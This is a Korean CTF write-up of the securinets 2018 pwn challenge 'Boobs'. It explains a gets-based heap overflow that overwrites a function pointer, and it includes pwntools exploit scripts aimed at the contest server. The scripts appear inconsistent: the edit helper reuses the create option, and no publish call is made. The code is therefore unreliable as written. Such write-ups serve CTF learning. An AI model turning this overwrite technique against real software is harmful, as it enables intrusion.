[securinets CTF 2018] Boobs
이번에 풀어볼 문제는 2018 3 25 ~ 2018 3 26까지 진행되었던 securinets CTF의 pwn 중 가장 높은 배점을 가지고 있는 문제입니다. 바이너리는 32bit입니다.
flag를 얻기 위해서는
check 함수를 실행시켜서 flag를 저 값으로 바꿔주고,
get_boobs 함수를 실행시키면 flag가 출력됩니다.
어떻게 함수 flow를 바꿔줄 수 있을까요!
main 함수를 분석해보면 우선 이렇게 classroom이 만들어지고,
이렇게 옵션에 따라 course를 create 할 수도,
edit 할 수도,
delete 할 수도,
publish 할 수도 있습니다.
분석해보면 자체적으로 연결 리스트 자료구조를 통해서 course를 관리합니다.
publish를 보면 함수 포인터를 이용해서 함수를 호출하는 부분이 있습니다.
그리고 edit에서 저 (_DWORD *)v10+79에 있는 함수 포인터의 주소를 변경할 수 있습니다. 왜냐하면 gets로 입력을 검증 없이 받기 때문입니다.
그래서 두 course를 add하고 첫 번째 course의 함수 포인터를 check 함수로, 두 번째 course의 함수 포인터를 get_boobs로 바꿔서 publish 해보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
from pwn import *
#s = process('./boobs') s = remote('34.242.96.216', 22222) e = ELF('./boobs')
check = 0x08048814 get_boobs = 0x0804884f
def create(num, string): s.sendline('1') s.sendline(num) s.sendline('Title' + num) s.sendline(string)
def edit(num, string): s.sendline('1') s.sendline(num) s.sendline(string)
s.sendline('Start!')
create('1', 'A') create('2', 'B')
edit('1', 'A'*258 + p32(check)) edit('2', 'B'*258 + p32(get_boobs))
s.interactive() |
이렇게 된다면, 원래 함수 포인터에 있던 출력 함수 print_course 대신 check와 get_boobs가 실행될 것입니다.
보면 함수 포인터를 바꿔줌으로써 내가 원하는 순서로 함수를 실행해줄 수 있었습니다.
그럼 조건을 맞춰주려면 다시 check 함수를 봐야하는데요.
인자로 들어오는 a1이 80이면 됩니다.
여기 i가 a1으로 들어가기 때문에, i가 80이려면 course를 81개 만들어주고, 80의 함수 포인터를 check로, 81의 함수 포인터를 get_boobs로 바꿔준다면 flag를 얻을 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
from pwn import *
#s = process('./boobs') s = remote('34.242.96.216', 22222) e = ELF('./boobs')
check = 0x08048814 get_boobs = 0x0804884f
def create(num, string): s.sendline('1') s.sendline(num) s.sendline('Title' + num) s.sendline(string)
def edit(num, string): s.sendline('1') s.sendline(num) s.sendline(string)
s.sendline('Start!')
for i in range(1, 82): create(str(i), 'A')
edit('80', 'A'*258 + p32(check)) edit('81', 'B'*258 + p32(get_boobs))
s.interactive()
#Flag{You_Absolutely_Deserve_million_boobs} |
감사합니다!
'System&Write up > CTF' 카테고리의 다른 글
[Codegate 2018] DaysNote (0) | 2018.04.08 |
---|---|
[Codegate 2018] betting (1) | 2018.04.06 |
[TAMUctf 2018] pwn1 ~ pwn5 (0) | 2018.02.27 |
[OpenCTF 2016] tyro_heap (0) | 2018.02.22 |
[Codegate 2018] BaskinRobins31 (4) | 2018.02.09 |